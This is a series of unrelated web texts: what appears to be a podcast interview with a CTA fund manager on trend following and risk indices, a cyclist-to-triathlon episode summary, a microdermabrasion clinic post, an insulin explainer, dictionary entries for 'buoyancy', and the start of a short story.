Using that same approach, the way I would explain it, is that first of all looking at CTAs, even though we trade 50, 60 different markets, for any decent sized CTA our bread and butter comes from the financials. You're talking global fixed income. You're talking currencies. You're talking equities. Commodities are a nice diversifier, but that's pretty much what it is, a diversifier. If you look at any economic region: US, Europe, Japan, Asia, every one of those regions has its own business cycle. It has a certain either growth or declining economy and the business cycle around, let's say it's a growing economy, so you have an upwards sloping line, and the business cycle oscillates around that line.
In each one of those economic regions, the job of the central bank is to minimize the amplitude of that business cycle relative to the slope of the line. If a central bank is hugely successful, then they keep that economy on that slope of the growth - there is no volatility. Obviously, no one is that successful. What happens is as the business cycle starts going quite a bit above that slope of the line, central banks come in and try to increase interest rates to slow things down. When you are at the bottom, below your growth trend, they come and lower interest rates to essentially bring you back up. When you look at the way a central bank changes interest rate policy, it's not plus 50, minus 25, plus 75, minus 10, plus 5, minus 10, plus 5, that's not how they do it. They go +, +, +, +, stop. They stop for a while. Then they go -, -, -, stop. Then they stop for a while
Now think of what happens whenever a central bank embarks on these cycles. Every time that they start with a plus, there is a wave that starts and propagates through all the financial markets. Changes in interest rate policies have effects on currency prices; they have effects on stock prices; they effect on bond prices. Now you start at the beginning of a trend. When they come again and they do another 25 or 50 and so on, now your trend is getting momentum, then it goes again and now the trend is getting more momentum, and then they stop and that's when your trend levels off and, in a perfect world, that's when your position reverses and you take it on the other side. Unfortunately, that would have been too easy if that's exactly how things work. What happens is for every market, every market moves for two reasons. It moves for alpha reasons, and it moves for beta reason. Alpha reason being conditions that are only relating to that market, and beta reason are the overall macro condition or interest rate policy and so on. What I described in the action of the central bank, that's really macro; that's beta. If in the absence of any alpha reason, then we'll get perfect trends and everything will work fine, except that things are not that easy. Every market again has its own alpha reason.
You get the best trends when both the beta and the alpha are pointing in the right direction. Let's think of what would make a perfect trend. Let's say you're looking at crude oil. We know that in a very hot economy an expanding economy there is a natural pressure on crude oil prices to go up as there is more business activity, more manufacturing, so that's an upwards pressure on crude oil prices. Let's say that in the middle of that happening you get a giant explosion in Saudi Arabia that causes crude oil to spike for a local reason - for supply reasons...then you get a real turbo boost to that move that was happening in crude oil and you get the perfect trend at that point, because you have both alpha and beta kicking in the same direction. When you get really bad trends, is when they are completely opposite, where the alpha and the beta are fighting with each other and you get these choppy markets where you are constantly getting stopped out, and back into position, and stopped out.
For a lot of people trend following is a very opaque strategy, but really it's not. It's not alchemy, the concept for it is rooted in simple economics and finance, and I think once, in my experience at least, once I've explained it to investors, they generally agree and then they get it. Now the next thing that I saw is that given how simple this strategy is it's really not a 2 and 20 strategy. People have gotten away with too much over the years charging $2 and $20 for this. What happened, in the early 2000s, I spent a lot of time doing research on how to extract more alpha from long term trend following and I kept coming to the conclusion that the most efficient way to get more alpha from trend following is to essentially not charge $2 and $20. I wrote a paper in early 2000s how using very simple off the shelf trend following techniques like moving averages, or breakouts, or things like that, and some other very simple portfolio techniques, you can build a very reasonable and high expectancy trend following strategy, and that if you don't charge $2 and $20 for it, you end up having results that beat 80%, 90% of the trend followers out there. I wrote the paper in the early 2000s, like I said, and published it and in 2004, we were approached by the endowment of a very large Ivy League university that agreed with our premise and asked us to start a fund for them based on that. Since 2004 we have had a fund that's basically a very well diversified trend following strategy that charges a flat 1% management fee and no incentive fee and since we've launched it, it has had 70%, 80% very stable correlation to the trend following indices, and that ivy league endowment is still the biggest investor there.
That's a very interesting observation, and I think, as I mentioned in the early part, it's one of the things that I'd love to discuss with you because you were certainly one of the early adopters on this. But here's my question about it, to some extent I feel that managers will have this alternative beta, or this CTA replicator to give investors very similar returns to these CTA indices, but at a lower price, and that's fine. There's nothing wrong with that. However, I feel that the CTA indices themselves, because the underlying CTAs have changed, and therefore I'm not so sure that these replicators today are very... I say it a little bit, but I'm not so sure that they track the CTA indices as well as they used to, simply for the fact that I think CTAs have changed. I think that's another thing that you have made observations about, and that is that managers today have migrated from being pure trend followers maybe to doing other types of strategies, in particular in the last few years, to compensate for maybe lack of trends in the usual sense. I don't know whether you think that's an issue, and maybe do these alternative beta strategies or CTA replicators, do they themselves actually need to be evolving and maybe you do them differently than you 10 years ago when you started?
Look, absolutely. That's a very astute observation. What happened is if you look at trend follower correlations from the dawn of trend following, until the early 2000s, or early to mid-2000s, they were a very homogeneous group. You'd be hard pressed to find CTAs with less than 70% correlation, and in some cases it was more than 80% and solid. The reason for that is that pretty much all of them followed the same kind of Turtle methodology of long term trend following, with all the good and the bad that that strategy entailed. Starting in mid-2000s, there were a couple of changes that some CTAs started doing that led to what I call the split, in the CTA space, between what I call the old school and the new age CTAs.
The old school is the ones that stuck to the Turtle approach. The new age guys changed things in a couple of ways. One of them is fairly technical, I'm not sure how much we want to go into it, but essentially it has something to do with the fact that basically, historically CTAs sized their position in any given market in a relationship that is inversely proportional to the volatility of the market that you traded, meaning that you want to take the same risk per trade, you want to risk the same amount in your crude oil trade as you did in your Euro dollar trade, but these two markets have vastly different volatilities, so you can't take the same dollar position size in them. What you do is you adjust it for volatility and then you take a vol adjusted position. What happened is the old school way of doing this is you had your position, you stuck to your position until that trend reversed and then you exited and you reversed and do the opposite side with the new position size at that point. One of the biggest criticisms for CTAs, historically, has been that CTAs have high volatility, large profit giveback, big potential drawdowns.
What eventually became the new school guys started thinking about the problem, they correctly realized that the volatility at the beginning of a trend is fairly low. As that trend matures and starts showing signs of weakness and reversion, volatility goes up significantly. Essentially they said, look, it doesn't make sense that we are taking a position at the beginning of a trend when volatility is low and therefore we would have relatively large position size, and holding this same position as the volatility in this trend itself is changing, which is causing us to have the higher vol on the portfolio. So they said, what if we do more frequent sampling of the volatility and adjust our positions accordingly? The thinking there is that you'll be taking profit on your position as the trend is developing and then by the time volatility spikes, and the trend reverses, you go through that reversal with a very small position and therefore minimize the effect on your portfolio, which is great except that it leaves one gap in the thinking. It automatically assumes that an increase in volatility is a precursor to a trend reversal and not a trend continuation.
If that sharp rise in volatility actually is a precursor to a trend continuation, then the risk to them is that they are going to basically sit out that trade, which probably will be at a time when CTAs are the most needed which is when volatility is really high, but then going even higher. An example of that is what happened in 2008. In 2008, if you remember, volatilities spiked quite a bit going into the summer... the end of the summer. By then a lot of these new school CTAs had pretty much exited a lot of their position because of the volatility spike. Then what happened is we had Lehman Brothers, and then really volatility exploded at that point. What happened is all these guys ended up missing a once in a 10, 20 year opportunity in the CTA space, and more importantly they did not deliver the protection to their investors that is part and parcel of what investors expect from a trend following investment.
I won't go into which manager is new school vs. old school, but that's one way to look at it. The other big change that they've made is that they, again, correctly realized that trend following has very distinct characteristics that work in certain market conditions, which are really in many ways negatively correlated to a lot of other strategies, which is really, when you think about it, is why the pitch that we make to investors of why they should go into trend following strategies, because it's low correlation or negative correlation at some point. But these guys said, well, if we include in what we're doing, a negative correlation strategy, we're going to improve our risk-adjusted return. To give you a very simple example, if you take a simple Turtle model - a moving average based Turtle model, you add to it something as simple as a long S&P position - maybe not purely long S&P but long risk, you can improve the risk-adjusted return of what you are doing, except that you'll be really deviating from investors expectation of what you can do in different market conditions. At that point when volatility spikes in the market, and risk aversion spikes, you're not going to be delivering the protection that they thought they were getting with you. What we know is the two large changes that we saw in CTAs starting in the mid 2000s is that you had one group that stayed true to the Turtle approach. Those are the guys that did really well in 2008, and then you had another group that did two significant changes, which is the position size adjustment based on volatility, as well as adding totally different strategies that are long risk with negative correlation profile to trend following into their own fund, and these are the guys that have done very well in the last 4 or 5 years.
The question is, are investors investing in CTAs as just an absolute return strategy, in which case they would go with the new age guys, but in which case I would argue that if you are investing in CTAs as an absolute return strategy then really you should go look elsewhere because there are other hedge fund strategies that do better on an absolute return basis. Or, are investors investing in CTAs as a portfolio tool that works very well against the rest of what they have in the portfolio? In which case CTAs really have to stick to what investors expectation is of their performance in various market conditions. To give you a practical example, when we noticed (it's a long answer to tie back to your question) whether CTAs are tracking or not or whether trackers should change or not. When we noticed this a few years ago, we went back to the ivy league endowment and presented the numbers and said look, this is what we think is happening, we think that you can have better risk-adjusted numbers from us, overall, if we add a long risk strategy to what we do, which we already had because in our other fund Conquest Macro, we have a very successful long risk strategy. It's a very easy thing for us to just turn it on for you in this one, and then the fund will switch from being a Turtle approach to being a new age approach. It's really not rocket science. It wasn't rocket science to do Turtles, and it's still not rocket science to do the new age approach. The answer from the endowment was a resounding no. They wanted us to stick to the Turtle approach precisely because they used us as a portfolio tool, and they said they have plenty of long risk in their portfolio. They think they are a better judge of what long risk strategy to be in than us with a genetic long risk strategy, so they wanted to retain that flexibility in what they do, but they wanted us to continue to deliver the characteristics of what their expectation is from traditional trend following, which is fine.
You mentioned that we have a lot of products. The reason we have a lot of products is... look, the way I think of portfolio construction is it's a two-step process. A portfolio is made of individual models. I think that we are very good at creating different models that do different things in various market conditions. Maybe it's from having three young children and spending a lot of time with Legos, but I think of these models as Lego pieces. You can take those Lego pieces and put them together to make a plane, then you can take it apart and put them together in a different way to make a submarine, or a car, or a house, as long as you have good solid Lego pieces you can build them to create any profile that you want, which is exactly what we do on a portfolio basis. I think we are very good at making these Lego pieces. They're very solid. They're good quality pieces, but the construction of them is really in how we want the portfolio to look: what characteristics, all that other stuff. If I think of our generic Turtle approach as one Lego piece - a big Lego piece, then I think of our long risk as another Lego piece. Each one individually can give you a very different risk profile. By putting them together now, we can go from a Turtle based trend following strategy to a new age absolute return trend following strategy.
Let me just say to the listeners who are listening, and may not know what we refer to when we say a Turtle strategy, if you go to episode 13 and 14, that's actually with Jerry Parker and he's probably the most successful Turtle, so if you want to hear the whole Turtle story go to episode 13 and 14.
I want to ask you, Marc, to go back and then take us from where you started realizing this and then how Conquest evolved as you were adding these strategies, what was your thinking behind adding this particular one as a separate offering, and so on and so forth, and before we leave your story as a whole, I think we need to go from the inception of Conquest to where we are today, before we dive into more of the specifics. I'd like for you to tell us that story, how the product range evolved in the last 10 years.
Absolutely. Look, all that stuff that we spoke about so far that was just almost like a side project for us. That has never been our bread and butter. That's something that started out of an intellectual exercise, which we had the luxury and privilege of being the first one to test it and bring it to market, and now you can see how many different people are adopting that approach.
Historically our bread and butter has been Conquest Macro. When I first started, I'd always wanted to have... let me backtrack for a second. If you look at pretty much over 90% of investment strategies, they all tend to do really well in low risk, low volatility environments, and they get slaughtered in high vol environments. Periods like 1998, anytime there was shock in the market, you see a huge, very universal suffering from pretty much every investment strategy. The reason for that is, in a very, very simplified way, active investments (whether it's a hedge fund type and so on) make money by buying the risky asset and selling the less risky asset against it and benefiting from it. Think of this as in the stock market being long, kind of high bidder versus short, low bidder. In fixed income, you can do sort of the borrow short, lend long. There are a variety of ways of expressing this in pretty much every single market
While those strategies, whether you do it in fixed income or whether you do it in equities and so on, while they have low correlation, most of the time when the environment is not very risk averse, their correlation goes to 1 on the downside, whenever risk aversion rises. The reason for that is that each one of those strategies that is benefiting from buying the risky asset and selling the less risky asset needs one very crucial thing for it to work, which is liquidity. Liquidity is like the oxygen for these strategies. When there is oxygen each one is doing its different thing, low correlation, everyone is happy. However, when risk aversion rises in the markets one of the first casualties of rising risk aversion is liquidity. Liquidity dries up significantly, so what happens is that suddenly all these strategies that look to be uncorrelated, where in reality they did have one common risk factor which is liquidity, but they start all losing money at the same time. That's when investors start scratching their head saying, what happened? We thought we were diversified, why are they all losing money at the same time? The reason is because they pretty much all long a lot of liquidity, and when that disappears they lose at the same time. We've seen that happen time, and time again.
My thinking about Conquest Macro, from the beginning, was that I wanted a product that would do well in a risk averse period, because it's needed. Like I said, over 90% of strategies out there don't have that profile. Historically, the way people hedged some of that rising risk aversion is they could have allocated to short sellers. The problem with short sellers is that stocks go up over time, and it's pretty much a negative expectancy strategy. Very few short sellers survive for decent parts of time. Markets can go up, as we saw in the last few years, for a significant period of time. I mean Keynes has never been more right than now. Markets can go much longer and be much more irrational than it can be solvent. The problem with short sellers is when you have that type of strategy, given that markets can go for long stretches of time, let's say going up in this case. Investors find it very difficult to hold onto a short seller over that period of time. Just every month, losing, and losing, and losing. So they end up redeeming out of their hedge, probably just at the time where they needed it the most. So short selling is not sort of an ideal hedge to portfolios.
The second strategy that people allocated to, to hedge some of the risk aversion risk, was pure long volatility strategies - just buy vol. That was great in the 80s and 90s when, I believe vols were mispriced. That was pretty much my career until I went off... I traded volatility, and it was mispriced. However, in the 90s and early 2000s we made significant headways in, not just understanding volatility, and the jump in vol, and second derivatives, and so on, but we also with computers and all these models... whatever edge that we had in the models that we had built to give us a better mousetrap for measuring volatility, by the end of the 90s early 2000 everyone had them. As a result, I think volatility became much more correctly priced. If you assume that volatility is correctly priced, and your strategy is based on just buying that, then really you have zero expectancy, but if you factor in transaction costs and things like that you end up with a negative expectancy. Again, when you look at investment in pure long vol strategy (I don't know if any of them still exist) but they had that characteristic of bleeding, losing, losing, losing over significant periods of time and then, generally, investors redeemed before vol spiked and they made a lot of money.
The third one that people allocated to was trend following - long term trend following. There is a big misconception out there is that investors believe that long term trend following is a long volatility strategy - it's not. I actually wrote a paper on that. The paper was published and it won the best paper award by Institutional Investor. I think it was published in the Journal of Alternative Investment. Long term trend followers are long the second derivative of volatility. If a volatility event happens, and that event is sufficiently large, then it can kick into place trends that can go for quite a distance and over time for trend followers to really benefit from them - think of what happened in 2008. An example where trend following made money, but it could have just as easily have lost money, let's say, go back to September 11, 2001, when that tragedy happened, trend followers made money, but the reason that they made money is that when September 11th happened, obviously stocks went down and bonds went up, just to simplify things, however the markets, the trends in stocks and bonds, had turned a few months before into short stock and long bonds, so when you got that exogenous event, which was September 11, it basically, again, using our example of alpha and beta. The beta was correctly in place, and that was an alpha event that really pushed everything in one direction. If September 11, 2001 had happened a year before, when long-term trend followers were long stocks and short bonds, they would have gotten destroyed.
The point that I am trying to make is that long term trend following is not long short term vol, but it can be very long term vol, or the secondary derivative of vol. However, that doesn't hold true in another piece of research that we put out and was published in a book by Risk books in London in 2008. What we proved is that when you come down in the trend following spectrum, from the long term trend following to the very short term trend following, starting one month and under, essentially trend following strategies that are very short in duration start acting very much like pure long volatility strategies. I'm sort of simplifying a little bit, but the whole paper is available, I think you might be able to find it online or through Risk books in their book. Looking at what's available for an investor as protection against short-term risk in volatility spiking, or risk aversion, or so on, really there wasn't any good product out there. That was the idea why, with Conquest Macro, we wanted to have a product that essentially had two mandates. The first one, and very important one, is to be an absolute return strategy, because if you are not a good absolute return strategy, investors will not hold you long enough to fulfill your promise, basically. The second mandate was to try and generate the bulk of that absolute return in what we call periods of risk aversion, which are periods of high volatility and high volatility of volatility.
Our expectation for the fund is to return somewhere between 5% and 10% in risk seeking periods - in low vol environment periods, and return over 30% in risk averse periods. In our actual trading, since we started, we have annualized over 30% in those risk averse periods - we have checked that box. It's on the risk seeking side where we've had to do a lot of work to improve our strategies. Depending on when you look at our track record, and so we've had many improvements that have happened over the years, I would say that our actual track record is probably flat to slightly positive in risk seeking periods, which by itself is still a very significant improvement over short sellers and long vol strategies, but looking at our track record since we've made a lot of the improvement in our risk seeking performance, that's tracking closer to 5% to 10% annualized. If I think of our return, based on our risk index and our analysis of the risk environment, we model the world to be roughly about 70% of the time risk seeking - low vol, and about 30% of the time risk averse. Just a quick back of the envelope calculation, if the 70% of the time that you are risk seeking you are going to make 5% to 10%, call it 7% and change average. You are going to make roughly 5% in that period. Then in the 30% of the time that you are going to make 30% from your risk averse performance you are going to make another 9%ish, so I think we're at 14%, 15% type strategy over time, but with a very, very important portfolio benefit in the way that we deliver those returns.
True. Here's a question. That, obviously, is very, very interesting that trying to design a program that not only gives investors the bulk of the return when they most need it but actually also can make returns when they don't really need it, but obviously it's an absolute return strategy and therefore it's nice to have an absolute return through those periods. In a sense, you could say it's the best of both worlds. With traditional trend following my observation is that it can't deliver both. There's simply going to be a period where it will lose money. Of course, the question is then, how much will you lose, and so on, and so forth. It's kind of universally accepted that trend following can't be the best of both worlds. It sounds to me like a very tall order to try and do both. How do you achieve that?
It's a lot of very hard work and a lot of trial and error. In a way, 15 years on, I think that we have the best product that we've ever had and I think it's both an ability to design individual models that over time will deliver exactly what... not just the return but the risk profile that you expect. I don't understand how anyone can promise a certain return profile because really returns are a function of the market it gives you and no one really know ahead of time what the market will give you. Our biggest effect comes on risk control. If you build up a certain risk profile, that risk profile is going to be associated with different return and different market conditions. We start with that concept and what we do is we have, I think our risk index - we have one of the biggest benefits that we've reaped in the portfolio was when we came up with the idea of the risk index. Again, at that time very few people thought of risk indices or even had a risk index.
Why did you want to develop that?
It was very simple. In trying to have the best product that responded very well in periods of higher volatility, we wanted to have a quantifiable way to go and measure what we defined as high volatility versus low volatility.
Was it more to visualize to people, or was it something that you use in the program?
No, no, no, we use it on actual programs. The premise before we started building the risk index was that different strategies behave differently in different risk environments. If we had a proper way to measure the risk environment through a risk index, we can use that to affect our risk allocation methodology across the different strategies within our portfolio and therefore have a better portfolio - a simple premise. The first step was to go out... because historically when people looked at risk, they looked at it in individual pockets, meaning either through the prism of the VIX, but really VIX is only equities, or through effects on volatility for people who traded, effects on options, or swap spreads for people who did more fixed income, but people were not looking at a much more comprehensive view of risk. What we basically observed is that one of the benefits of having a risk index is it really pushes your tentacles across all the different parts of the capital markets. On a daily basis, you're able to measure the temperature of pretty much all the different areas from liquidity risks to credit risk... the way we define it is we said what are the different risks that people look at? You have liquidity risk. You have credit risk. You have emerging market risk. You have equity risk. You have foreign exchange risk. When you have a much more comprehensive view of these risks, it gives you a much better way of assessing market vulnerabilities let's say, because a lot of the time, depending on where the risk aversion ends up coming from, you start seeing signs of that in that particular dark corner of the market way before anybody else starts feeling it or seeing it. So it gives you some preparation time to go and think about what you want to do and how you want to do it.
Once we built our risk index, it turned out that our intuition was spot on, which is that there is very strong statistical evidence that different strategies consistently do very different things in very different risk environments and that there was a certain level of autocorrelation in the risk index that allowed you to use some of that information. In periods of switching from one risk environment to the other, there is the expected noise in the data around those points, which is not something insurmountable. You can very easily filter out that noise, but once you got into the body of the risk environment, your probability of staying in it was much higher than the probability of reversing, until you had an event that caused it to reverse, and again you go back to that noise and so on. What we found is that using an asset allocation strategy greatly benefits our return because it allowed us to put our resources where they had the highest expectancy given the risk environment.
Given that we thought we had a very good mouse trap for figuring when the risk environment... what it is, what it's telling us, and when it's changing. As a matter of fact, we put these changes in our portfolio in March of 2005, and measuring the effect of those changes for the next few years, it ended up improving our risk-adjusted returns by about 30% - just that one change alone. Again, once we were able to see the benefit from allocating to different strategies that have different risk profiles and different correlation profiles, using our risk index, it spurred us into going out and creating a lot more strategies - sort of more Lego pieces, let's say, that do different things in different risk environments. When we first came up with a risk index, we had three sub-strategies within Conquest Macro: we had a long vol strategy, we had a short term trend following strategy, and we had a non-trend and a counter-trend strategy. Using the risk index, what we found is that, in risk averse periods our best performer was our long vol component, which makes perfect sense. However what we also found out is that in risk seeking periods short term trend following ends up doing significantly better than long vol, because even in very long volatility environments you still have some short term trends that you can take advantage of. What we also found, and this again caused me to scratch my head a little bit at first, when I put in our risk bucket that has in it both counter-trend and non-trend strategies, on the surface it showed no effect on the risk environment on that sub-strategy, which puzzled me for a little bit until we dug down into the individual model level. Each one of those sub-strategies has many different models. What we found is that pretty much 1/2 of the models were effected in one way, and 1/2 of them were effected in another way, and the net effect was no change in that risk bucket. This made sense, because if you look at our long vol sub-strategy, individual models that have correlations, let's say between teens to 50, 60 or so; if you look at the short term trend following risk bucket, again correlation is probably 40, 50, 60 and so on; in both of these are all positive correlations, therefore you really saw a clear effect from the change in the risk environment. When you look at our non-trend and counter-trend strategy it has both strategies that do really well in risk seeking periods, and strategies that do well in risk averse periods, therefore it has, as components, negatively correlated strategies to each other, therefore the effect from the risk environment was neutralized by having the component being negatively correlated to each other.
As I said, we made the changes to go from static risk allocation to dynamic risk allocation based on the risk environment. We improved our returns by about 30%. However, the way I viewed that improvement was more like the sort of improvement you get from cost cutting. It was just a better rearrangement of the deck chairs. I still wanted a component that actually added positive returns in risk seeking periods. That's where we went out and built our force of strategy which is what we call long risk, which is a strategy that essentially has about 80% correlation to hedge funds; that uses only futures and FX; that as a standalone could be a very good product by itself, because, gain it gives you a sharp of about 1, 80% correlation to hedge funds using only futures and FX, which as a standalone strategy would qualify it as a CTA, so you can be technically invested like a hedge fund, but getting a tax treatment of the CTA, which is, by the way, in our product offering we also offer it separately as a standalone.
It was hugely helpful to the Conquest Macro portfolio, because now we had one more risk bucket that we can allocate to in the risk seeking period that really would give us pure, simple, absolute return on the positive side. The rest of the evolution of the models within Conquest Macro is historically we started off with only price based models. After about 7, 8, 9 years we progressed into an area that we call Quant Macro, which is models that take a combination of two things: fundamental data, as well as technical data. That, again, allowed us to have more leeway on how to allocate within the different risk environments and so on.
So you have these four strategies within the Macro program, are you able to visualize and talk just briefly about how each of them implement what they do, just to make it simplified a little bit...
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global_05_local_5_shard_00002591_processed.jsonl/42112 | At 28 years old Andrew Talansky has his whole road racing career ahead of him, but he’s changing gears. Listen in to find out why the most successful American pro cyclist in recent times is moving sports to triathlon.
Andrew Talansky is one of the most successful American cyclists in history with a win at The Criterium du Dauphine, top ten Grand Tour finishes, domestic tour wins and national championship titles to his name.
We sat down with Andrew at the IRONMAN World Championships to discuss what a road cyclist needs to do when he transfers to Triathlon.
Topics covered in this episode
• Why Andrew Talansky left pro cycling
• The demands on the pro peloton
• What it’s like to ride in the pro peloton
• How to mentally deal with a bad crash
• How triathletes can be more valuable for sponsors
• Does Andrew expect to have the fastest bike splits in triathlon?
• What are Andrew Talansky’s running abilities?
• How Andrew Talansky plans to become a fast swimmer
• How Andrew Talansky plans to build up to IRONMAN full distance races
• What triathlons is Andrew Talansky planning on racing?
• Why Andrew Talansky has an advantage in triathlon
• What cyclists need to consider when moving to triathlon
• How to get more comfortable on a TT bike
• What bike will Andrew Talansky use in triathlon
• Andrew Talansky’s nutrition plans for triathlon
• Why triathlon is more advanced than road racing
• Why having one coach for triathlon is better than three
• How cyclists can avoid injury when transferring to triathlon
• What Andrew Talansky’s diet is like
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Are you one of the many people who have thought about getting a microdermabrasion to treat your skin? Microdermabrasion is a popular way to rejuvenate the skin and treat skin woes like sun damage, fine lines and wrinkles, dullness, acne, hyperpigmentation, and melasma, patients often have questions about what to expect from their microdermabrasion treatment. One such question is: Does microdermabrasion hurt?
The short answer is no.
Microdermabrasion does not hurt. The sensation you feel might depend on the kind of microdermabrasion you get (traditional crystal, diamond tip, or Dermasweep-bristle technology), but none of these methods should be painful or even uncomfortable.
Different Microdermabrasion Methods
Though microdermabrasion in any form exfoliates and rejuvenates the skin by removing the outer layer of dead skin cells, there are different microdermabrasion methods available. Traditional or crystal microdermabrasion blasts very fine crystals onto the skin while simultaneously removing the crystals and dead skin with suction. With this method, patients can experience a mild tingly feeling as the crystals pass over the skin. This kind of microdermabrasion can be a bit messy, though: although suction is meant to remove the crystals, it is impossible to remove them all, sometimes leaving you with very fine particles in your hair and ears following treatment.
Diamond tip microdermabrasion uses a tip that has diamond fragments embedded in it. The process utilizes a diamond tipped wand that is used to abrade the surface of the skin. The diamond tip is usually easier to control and can treat areas around the eyes and mouth more precisely. There are also no particles with this method. During the diamond tip microderm, you might feel slight tugging of the skin in the treated area, but it does not hurt.
DermaSweep at WIFH is also Pain-Free
The microdermabrasion option we offer at WIFH is DermaSweep, which uses bristles to exfoliate the skin with applied suction. The treatment is basically a light sanding of the skin. With DermaSweep, there are different bristles that can be used depending on your skin health, varying from a softer bristle to a very stiff bristle. Suction is also applied which helps to increase bloodflow and collagen production.
After the skin is exfoliated with the bristles, a polishing tip is used to infuse serums back into the skin. The serums used are selected based on your specific skin goals. You getting a microdermabrasion immediately followed by a treatment application. The combination of the microdermabrasion and the serum treatment allows the skin to better absorb the serum and its benefits, because the skin is fresh and open after the microderm. Like other types of microdermabrasion, Dermasweep does not hurt. The sensation you can expect to experience with Dermasweep is similar to Diamond tip microdermabrasion with an added layer of effectiveness from the infusion step.
All in all you will feel mild abrasion during microdermabrasion, which should feel like very light sand paper coupled with suction. This procedure should not be painful or uncomfortable, so if you experience any discomfort during treatment you should let your skin care professional performing the procedure know as you soon as you feel it. Your skin care professional can always adjust suction and other aspects of your treatment to eliminate discomfort. You should anticipate having some mild redness of the skin following your microdermabrasion treatment, but this is very temporary, even in the case of the most sensitive skin types.
As always, call or visit WIFH for a consultation, and find out how your skin can benefit from microdermabrasion!
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global_05_local_5_shard_00002591_processed.jsonl/42217 | What it is and how it works
Insulin is a hormone in the body that is produced by an organ called the Pancreas. Insulin is necessary to ensure the metabolism of carbohydrates, fats and amino acids occurs properly with the body, and without insulin, we cannot survive.
Important stuff to know
You may have heard about the "building blocks" of proteins: amino acids. Insulin molecules
are made up of 2 chains of amino acids, 51 in all, arranged in a very specific order.
The 2 chains are attached to each other in a very specific way, and as a result, the insulin
molecule has a very special and definite shape. This shape allows the insulin to act in the body
the way it does.
Important to know: if insulin loses its shape, it will no longer work.
This is important to remember when you consider how best to use and store insulin that is injected.
How is Insulin made in the body?
Insulin is produced by certain cells in the Pancreas. A small part of the Pancreas is known
as the "Islets of Langerhans", and within this area we find the beta cells that make and release insulin.
How is Insulin released?
Generally, insulin is released by the beta cells in two ways:
• Rapid, or fast release, of insulin
This is in response to something that triggers this release. The main cause of this fast release of insulin is a rise in blood glucose.
Blood glucose rises most commonly after you have eaten a meal. The high blood glucose triggers the release of insulin, which then causes the glucose to be moved out of the blood into the cells of the body.
There are some other causes for a fast release of insulin. These include various medications (including diabetes medications), as well as another group of hormones, called the "incretin" hormones. These hormones are released by the gut, in response to eating.
• Sustained, or slow release of insulin
This does not depend on anything to trigger the release. Insulin is continuously released into the blood from the beta cells.
This insulin level in the blood is known as the background, or basal level of insulin. There should always be a basal level of insulin available in the blood and this slow release of insulin ensures that this is the case.
How does insulin work in the body?
Insulin does many things in the body. The main actions of insulin include:
• Controlling the way glucose is moved into cells and how glucose is used in the cells
• Controlling the way fats are moved into cells and how fats are used in the cells
• Controlling the way amino acids are moved into cells and how amino acids are used in the cells
• Converting glucose into glycogen, which is the "storage" form of glucose
Without enough insulin, these actions cannot happen properly, with the result that glucose and fat levels in the blood are not maintained at the correct levels.
Insulin levels in the body are never constant, and they vary, according to a number of factors.
The main influence on insulin levels is the level of glucose in the blood. Insulin levels and the release of insulin usually matches the blood glucose levels.
At meal times, when we eat, blood glucose levels rise, and very shortly thereafter, insulin levels rise.
However there are other factors that influence insulin levels as well. These include exercise, stress, illness, as well as the different types of food and carbohydrate eaten.
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• noun The tendency or capacity to remain afloat in a liquid or rise in air or gas.
• noun The upward force that a fluid exerts on an object less dense than itself.
• noun Ability to recover quickly from setbacks; resilience.
• noun Lightness of spirit; cheerfulness.
from The Century Dictionary.
• noun The quality of being buoyant, that is, of floating in or on the surface of water or other fluids; relative lightness.
• noun The power of supporting a body so that it floats: said of a fluid; specifically, the upward pressure exerted upon a body by the fluid in which it is immersed.
• noun Figuratively, light-heartedness; cheerfulness; hopefulness; elasticity of spirit.
from the GNU version of the Collaborative International Dictionary of English.
• noun Cheerfulness; vivacity; liveliness; sprightliness; -- the opposite of heaviness.
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• noun physics The upward force on a body immersed or partly immersed in a fluid.
• noun The ability of an object to stay afloat in a fluid.
• noun by extension Resilience or cheerfulness.
• noun the tendency to float in water or other liquid
• noun cheerfulness that bubbles to the surface
• noun irrepressible liveliness and good spirit
• noun the property of something weightless and insubstantial
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An Orange Lemon
Her day was not going well. Her cap had fallen in the dirt, and there was a gaping hole in the sleeve of her T-shirt. She hadn’t even felt it snag on anything. And there was an angry bruise just above her elbow. Where had that come from? Not noticing a torn sleeve was one thing, but to have hurt her arm and not even feel it? It gave you pause for thought.
Maria sat in the grass and thought listlessly to herself. There was nothing else to do. Everyone had scattered in search of shade, leaving the square empty. It was quiet. There was no one yelling or looking over her shoulder. But soon it would be feeding time, which would bring this sweet inactivity to an end.
“Oh, no, not that,” Maria groaned in irritation. A bearded man who was passing by turned sharply and walked up to her. Maria didn’t know his name and had no desire to learn it. She referred to him as the Commandant, or sometimes as the son-of-a-bitch.
“What are you doing sitting, bitch,” he shouted from a distance. “You need a personal invitation? Soup’s on.”
“Don’t shout at me, asshole,” she said between clenched teeth. But the beard had already come close enough to hear her. He smiled grotesquely, but quieted down. He shook his fist at her, and then turned and walked away, his fat rear shaking in his torn jeans.
“You’re the bitch,” Maria said behind him, grinning. Not long ago she would have been too shy to even say the word out loud. But here on the square the rules were different, and she’d learned them all too quickly. That speed scared her, but it was better not to reflect on it too much.
“Don’t know why, but it’s painfully quiet today, don’t you think?”
She turned toward the voice.
“Masha! Hey, I didn’t see you there. Are you going to eat?”
Maria took her namesake by the shoulder. “Why is everyone wearing yellow warmups? I must be the only one in a T-shirt.”
“No one told you? They read out the Commandant’s orders yesterday evening.” Masha started laughing. “Today the other side are in T-shirts so we changed uniforms so we wouldn't get confused and could tell each other apart from a distance. Maybe you can check out the other side. You can see what they’re up to. There’s a rumor they’re feeding them better. Maybe even paying them more. You can go find out for sure.”
“Maybe I will. Do you know if we’re supposed to be going out onto the square? Did they say anything about it in the orders?”
“God knows. That's why he's the chief. Mainly so that no one can say what’ll pop into his head, and when. For some reason he hasn’t been showing up recently. Let’s see after lunch. But come on, let’s go now, or else there’ll be a crowd. Even though they haven’t done anything, they’ll all want to eat.”
They cut across the empty square to where a makeshift kitchen had been set up. There was already no room on the benches at the long tables. The women sat down on the grass under an oak and leaned against its trunk. They didn’t feel like talking, and sat quietly waiting their turn. Maria observed the Commandant out of the corner of her eye. How repulsive he was, thinking he was some kind of fucking revolutionary. She thought of how he shouted commands through his megaphone, spittle flying out of his mouth in every direction. She shuddered at the thought. She took her eyes off him. She found a pair of acorns among the leaves on the ground and began to roll them about in her palm. A late-in-the-season dandelion brushed against her leg.
“Wake up, wake up!” Someone shook Maria vigorously by the shoulders. She opened her eyes but didn’t initially remember that she was sitting under the oak. There was some kind of hubbub around her.
